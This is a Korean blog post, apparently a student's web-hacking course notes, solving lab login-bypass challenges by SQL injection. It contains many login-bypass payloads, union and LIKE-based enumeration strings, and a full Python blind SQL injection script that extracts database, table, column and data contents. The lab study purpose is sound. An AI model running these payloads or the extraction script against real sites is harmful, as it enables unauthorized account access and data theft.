19. [5주차]-3 인증 우회 문제 풀이-2
* 과제
1. 오늘 수업 복습
2. 인증 우회 실습 문제 풀기
2.5 Login Bypass 1
normaltic1 계정으로 로그인을 해야 하는 문제이다.
주어진 일반 계정으로 로그인을 하고 관련 요청, 응답 패킷을 인터셉트 하였다.
계정 정보를 POST 방식으로 전달하고 있다.
1. 먼저 UserId만 normaltic1으로 변경 후 요청, 다음 응답인 index.php를 요청했지만 실패.
2. UserId에 doldol' and '1'='1 을 넣고 시도, 로그인 성공 결과를 확인.
- sql 인젝션이 통하는 것을 확인
UserId에 한번 normaltic1' or '1'='1 을 넣고 요청을 시도해보니 로그인이 되는 것을 확인했다.
로그인이 되었으며, flag를 알 수 있었다.
추측하자면, 아래와 같이 식별과 인증을 같이하는 구조인 것 같다.
select * from my_user where user='doldol' and pw='dol1234'
여기서 UserId에 조작된 SQL 구문을 넣음으로서 인증 과정을 피할 수 있었다.
select * from my_user where user='normaltic1' or '1'='1' and pw='dol1234'
'1'='1' and Password='1234' 부분은 거짓이 되지만, 앞에 UserId='normaltic1' 부분이 참이기 때문에 결과적으로 참이 된다. 즉 패스워드에 상관없이 UserId가 normaltic1 으로 로그인이 되는 것이다.
24/05/27
다시 생각해보니, 잘못된 내용인 것 같다. 우선, 식별과 인증을 같이 하는 것이라면
normaltic1' #
위 문구로 통과되어야 하는데 되지 않았다.
아마 중간에 개행이 들어가 있는 것 같다.
select * from my_user where user='doldol'
and pw='dol1234'
이러면 normaltic1' # 문구로 and pw='dol1234' 부분이 주석처리가 되지 않아 쿼리 결과가 실패가 된다.
aaa' or '1'='1
위 문구를 넣으면 doldol 로 로그인이 된다.
normaltic1' or '1'='1
을 넣었을 때 normaltic1으로 로그인 되는 것을 보니 normaltic1이 doldol보다 쿼리 결과 상 먼저 나오게 DB가 셋팅되어 있지 않나 싶다.
select * from my_user where user='normaltic1' or '1'='1'
and pw='dol1234'
위 쿼리가 되어 normaltic1이거나 pw가 dol1234인 결과(doldol)를 출력하는데 순서때문에 normatic1이 먼저 나올 수 있거나 doldol이 먼저 나올 수 있기 때문이다.
2.6 Login Bypass 2
이번에는 normaltic2로 로그인을 해야 하는 문제이다.
역시 POST 방식으로 계정 정보를 보내고 있다.
Login Bypass 1처럼 확인 결과, SQL 인젝션이 된다는 것을 알 수 있다.
Login Bypass 1과 달리 or 로 하는 방법이 통하지 않아 normaltic2' -- 을 통해 주석처리가 되도록 수정하였다.
그렇게 flag를 얻을 수 있었다.
추측하자면, Login Bypass 1과 같은 구조이나, or를 필터링 하는 게 아닐 까 한다.
select * from my_user where user='normaltic2' -- ' and pw='dol1234'
하지만 -- 혹은 #을 통해 주석처리를 하면 normaltic2의 계정으로 로그인을 할 수 있다.
24/05/27
다시한번 생각해보았다.
doldol' and 1=1 #
dol1234
은 doldol로 로그인이 되었다.
doldol' and 1=1 #
12
도 doldol로 로그인이 되었다.
여기서 패스워드 부분은 주석에 영향을 받는다는 걸 알 수 있다.
식별/인증 동시일 확률이 높다.
doldol' and '1'='1
dol1234
는 doldol로 로그인이 된다.
doldol' and '1'='1
12
는 로그인이 안된다.
doldol' or 1=1 #
dol1234
doldol' or 1=1 #
12
둘 다 로그인이 안된다.
혹시 or를 필터링하나 싶어 확인을 해보았다.
doldol' and 'or'='or
dol1234
doldol' and 'or'='or' #
dol1234
원래 1로 했을 때는 로그인이 됐는데 or로 바꾸니 되지 않는다.
결국 or를 필터링하는 것으로 판단했다.
추가로 아래에서 다른 문제를 풀다 생각난건데
' union select 'normaltic2', 'dol1234' #
dol1234
나
doldol' and 1=1 order by 1 #
dol1234
도 로그인이 안되는 것을 볼 때
select user, pw from my_user where user='doldol' and pw='dol1234'
and 1=1
order by 1
혹시 이런 구조는 아닐 까 예상해본다.
2.7 Login Bypass 3
이 문제 역시 normaltic3로 로그인을 하는 문제이며, SQL 인젝션으로 공격했다.
or 나 주석처리가 통하지 않아 다른 방식을 사용해야 했다.
아마 union 을 활용하는 방식을 사용해야 할 것 같은데, 내가 알기로는 union SQL 인젝션 공격을 하려면 컬럼 갯수와 테이블 이름을 알아야 한다고 알고 있다.
테이블 이름을 알기 위해 Blind SQL 인젝션 공격을 했는데 그러려면 그냥 Blind SQL 인젝션 공격을 하면 되지 않나 싶어서 Blind SQL 인젝션 공격으로 공격 방식을 변경했다.
import requests
from user_agent import generate_user_agent, generate_navigator
url = ''
headers = {
'User-Agent': generate_user_agent(os='win', device_type='desktop')
}
payload = {
'UserId': "doldol",
'Password': 'dol1234',
'Submit': 'Login'
}
cnt = 1
# flag = 1: DB 이름 알아내기
# flag = 2: 테이블 이름 알아내기
# flag = 3: 컬럼 이름 알아내기
# flag = 4: 데이터 알아내기
# flag = 5: 현재 사용중인 DB 알아내기
flag = 4
db_name = "segFault_sqli"
table_name = "flag_table"
column_name = "flag"
# DB 갯수 알아내기
if flag == 1:
for i in range(0, 10):
payload["UserId"] = "doldol' and (select 1 from dual where (select count(schema_name) from information_schema.schemata)="+str(i)+")#"
response = requests.post(url, data=payload, headers=headers)
if response.history:
cnt = i
break
# 테이블 갯수 알아내기
if flag == 2:
for i in range(0, 10):
payload["UserId"] = "doldol' and (select 1 from dual where (select count(table_name) from information_schema.tables where table_schema=" + \
"\'"+db_name+"\'"+")="+str(i)+")#"
response = requests.post(url, data=payload, headers=headers)
if response.history:
cnt = i
break
# 컬럼 갯수 알아내기
if flag == 3:
for i in range(0, 10):
payload['UserId'] = "doldol' and (select 1 from dual where (select count(column_name) from information_schema.columns where table_name=" + \
"\'"+table_name+"\'"+" and table_schema=" + \
"\'"+db_name + "\'"+")="+str(i)+")#"
# print(payload["UserId"])
response = requests.post(url, data=payload, headers=headers)
if response.history:
cnt = i
break
# 데이터 갯수 알아내기
if flag == 4:
for i in range(0, 10):
payload['UserId'] = "doldol' and (select 1 from dual where (select count(*) from " + \
db_name+"." + table_name + ")="+str(i)+")#"
response = requests.post(url, data=payload, headers=headers)
if response.history:
cnt = i
break
# 현재 사용중인 DB 이름 길이 알아내기
if flag == 5:
for i in range(0, 20):
payload['UserId'] = "doldol' and (select 1 from dual where (select length(database()))="+str(i)+")#"
response = requests.post(url, data=payload, headers=headers)
if response.history:
cnt = i
break
print(cnt)
# 현재 사용 중인 DB 알아내기
if flag == 5:
res_text = ""
for j in range(0, cnt+1):
for i in range(33, 127):
payload['UserId'] = "doldol' and (select 1 from dual where (select ascii(substr(database(), "+str(
j)+", 1)))="+str(i)+")#"
response = requests.post(url, data=payload, headers=headers)
res = 200
if response.history:
res = response.history[0].status_code
res_text += chr(i)
break
else:
res = response.status_code
print(res_text)
exit(1)
for k in range(0, cnt):
res_text = ""
for j in range(0, 30):
for i in range(33, 127):
# DB이름 알아내기
if flag == 1:
payload['UserId'] = "doldol' and (select 1 from dual where (select ascii(substr(schema_name, "+str(
j)+", 1)) from information_schema.schemata limit "+str(k)+",1)="+str(i)+")#"
# 테이블 이름 알아내기
if flag == 2:
payload['UserId'] = "doldol' and (select 1 from dual where (select ascii(substr(table_name, "+str(
j)+", 1)) from information_schema.tables where table_schema="+"\'"+db_name+"\'"+" limit "+str(k)+",1)="+str(i)+")#"
# 컬럼 이름 알아내기
if flag == 3:
payload['UserId'] = "doldol' and (select 1 from dual where (select ascii(substr(column_name, "+str(
j)+", 1)) from information_schema.columns where table_name="+"\'"+table_name+"\'"+" limit "+str(k)+",1)="+str(i)+")#"
# 데이터 알아내기
if flag == 4:
payload['UserId'] = "doldol' and (select 1 from dual where (select ascii(substr("+column_name+", "+str(
j)+", 1)) from "+db_name+"."+table_name+" limit "+str(k)+",1)="+str(i)+")#"
response = requests.post(url, data=payload, headers=headers)
res = 200
if response.history:
res = response.history[0].status_code
res_text += chr(i)
break
else:
res = response.status_code
print(f"{k}: {res_text}")
먼저 데이터베이스의 갯수를 알아내고 이름을 알아낸다.
데이터베이스 이름 정보를 활용해 데이터베이스 내 테이블의 갯수와 이름을 알아내고, 테이블 내 컬럼 갯수와 이름, 컬럼 내 데이터 갯수와 데이터를 알아내는 순서이다.
그 결과, 각 스테이지 별 flag를 얻을 수 있었다.
아래의 Login Bypass 4, 5, Secret Admin 문제도 여기서 얻은 flag로 해결 할 수 있었다.
....이렇게 푸는 것이 맞는지 모르겠다.
일단 다른 방법은 없는지 계속 시도해보려고 한다.
POST 방식으로 전달하는 것을 확인하였다.
doldol' order by 2 로 컬럼이 2개 임을 확인하였다.
' union select 'normaltic3', 'dol1234'#
위처럼 Union 구문을 이용하면 normaltic3와 dol1234를 출력하게 되고 POST 로 보내는 비밀번호 역시 dol1234이기 때문에 normaltic3로 로그인이 가능하게 된다.
2.8 Login Bypass 4
이 문제 역시 normaltic4로 로그인을 하는 문제이며, SQL 인젝션으로 공격했다.
2.7에서 얻은 flag로 통과할 수 있었고, 거기서 hash를 사용했다는 것을 힌트로 알 수 있었다.
역시 POST로 전달하고 있다.
' union select 'normaltic4', 'fe350b2ff979b0e0ea1844ed644ecafe'#
을 통해 dol1234의 md5 값을 넣음으로서 로그인을 할 수 있었다.
2.9 Login Bypass 5
이 문제 역시 normaltic5로 로그인해야 하는 문제이며, SQL 인젝션으로 공격했다.
패킷중에 쿠키를 확인할 수 있었고, normaltic5로 수정 후 전송하니 flag를 얻을 수 있었다.
24/05/27
doldol' or '1'='1
dol1234
doldol로 로그인이 된다.
' or '1'='1
dol1234
도 doldol로 로그인이 된다.
전체 결과 값에서 원하는 항목만 뽑으려고 시도해봤다.
' or '1'='1' limit 0,1 #
dol1234
로그인이 실패했다.
limit 0,1 로 인해 SQL 결과가 실패한 것을 알았다.
혹시 패스워드에도 SQL 인젝션이 되는지 확인해 봤다.
doldol
dol1234 and 1=1 #
doldol
dol1234 or 1=1 #
둘 다 안되는 것을 보니 패스워드 쪽은 조치를 취한 것 같다....
Union SQL 공격을 테스트 해봤다.
doldol' order by 100 #
dol1234
order by 에 100을 넣어도 doldol로 로그인이 되는 것을 알았다.
doldol' union select '1','2' #
dol1234
doldol로 로그인이 되었다.
doldol' union select 'normaltic5','dol1234' #
dol1234
doldol로 로그인이 되었다.
doldol' union select 'normaltic5','dol1234' limit 0, 1 #
dol1234
는 로그인이 실패했다.
doldol' or '1'='2
dol1234
는 로그인이 된다
doldol' or '1'='2
12
는 로그인이 안된다.
아마 패스워드 부분이 다음 줄에 있나 보다(개행 처리)
select user, pw from my_user where user='doldol'
and pw='dol1234'
혹시 pw 앞쪽에 다른 조건절이 있나 싶어서 테스트해봤다.
doldol' union select 1,2 from dual where 1=1 #
dol1234
doldol로 로그인이 된다.
그런데 위에서 예상한 개행 처리된 SQL에서는 위의 쿼리가 실패한다.
일단 계속 확인해봤다.
doldol' union select 1,2 from dual where 1=1 limit 0,1 #
dol1234
는 로그인에 실패했다.
limit 0,1이 뭔가 쿼리의 완성을 방해하는 것 같다.
아마도 쿼리의 마지막에 limit가 있는 것 같다.
여기서
select user, pw from my_user where user='doldol'
and pw='dol1234'
limit 0,1
select user, pw from my_user where user='doldol' and
pw='dol1234'
limit 0,1
둘 중 뭘까 고민이 되었다.
normaltic5' or 1=1 #
dol1234
에서 에러가 나지 않고 doldol로 로그인이 되는 것을 보고
첫번째 구조임을 알았다.
근데 첫번째 구조이면
doldol' union select 1,2 from dual where 1=1 #
dol1234
에서 doldol로 로그인이 되어야 하는데 내가 만든 쿼리는 로그인에 실패했다.
doldol' union select 1,2 from dual where 1=1 #
dol1234
이건 되고
doldol' union select 1,2 from dual where 1=1 limit 0,1#
dol1234
이건 안되야 한다.
계속 시도 중에
' or 1=1 #
1234
이거는 안되는데
' or 1=1 #
dol1234
이거는 doldol로 로그인이 된다.
아이디에 상관없이 pw 만으로 사용자를 가져왔다는 뜻이다.
혹시 pw와 user의 순서가 바뀐게 아닐까 추측했다.
select user, pw from my_user where pw='dol1234'
and user='doldol'
limit 0,1
그런데 이러면
normaltic5' or 1=1 order by 1 desc #
dol1234
가 될 것 같은데 Login Bypass 5에서는 통하지 않았다.
select user, pw from my_user where pw='dol1234'
and user='doldol'
order by 1
limit 0,1
이거인가 싶었다.
' union select 'doldol','dol1234' from dual #
dol1234
이게 내가 만든 쿼리에서는 되는데 문제에서는 로그인이 되지 않았다.
doldol' order by 100 #
dol1234
이것도 내가 만든 쿼리에서는 실패인데 문제에서는 로그인이 되었다.
order by 가 붙는 건 아닌거 같다.
select user, pw from my_user where pw='dol1234'
and user='doldol'
and 1=1
limit 0,1
from dual이 안되는 것에서 위와 같은 구조를 추측했다.
doldol' or '1'='1
dol1234
doldol로 로그인이 된다.
xxx' or '1'='1
dol1234
doldol로 로그인이 된다.
' union select 'normaltic5','dol1234' from dual where 1=1 #
dol1234
로 내꺼에서는 되지만 문제에서는 되지 않았다.
여기서 해시가 생각났고
일단 md5부터 시도해보았다.
' union select 'normaltic5','fe350b2ff979b0e0ea1844ed644ecafe' from dual where 1=1 #
dol1234
여기서 로그인이 되면서 flag를 얻을 수 있었다.
2.10 Secret Login
이번 문제는 관리자 계정을 모르는 상태로 로그인해야하는 문제이다.
역시 SQL 인젝션 공격을 해야 할 듯 싶은데, 2.7에서의 공격을 활용해 ID와 비밀번호를 알아 내긴 했는데
제대로된 공격법인지 애매하다.
먼저 공격에 성공하신 분 것을 참고해서
like를 이용한 SQL 인젝션 공격이 가능하다는 것을 알게 되었다.
1' or id like 'a%'#
구문에서 a를 a-z, 0-9 까지 바꿔가며 시도해본다.
1' or id like '5%'#
에서 로그인이 되면서 flag를 얻을 수 있었다.
거기에
1' or id like '5_____________'#
를 통해 14자리라는 것도 알 수 있었다.
하나씩 대입해보면 전체 아이디도 알 수 있을 것이다.
추가로
id' and pass like 'a%'#
을 통해 같은 방식으로 비밀번호도 알 수 있을 것이다.
https://freestyle.tistory.com/17
'보안공부 > 웹 모의해킹 공부' 카테고리의 다른 글
21. [7주차]-1 SQL Injection 데이터 추출 공격 (0) | 2024.06.01 |
---|---|
20. [6주차]-1 Union SQL Injection 문제 풀이 (0) | 2024.05.25 |
18. [5주차]-2 인증 우회 문제 풀이-1 (0) | 2024.05.19 |
17. [5주차]-1 SQL 인젝션 이해 (0) | 2024.05.19 |
16. [4주차]-5 게시판 구현 (0) | 2024.05.13 |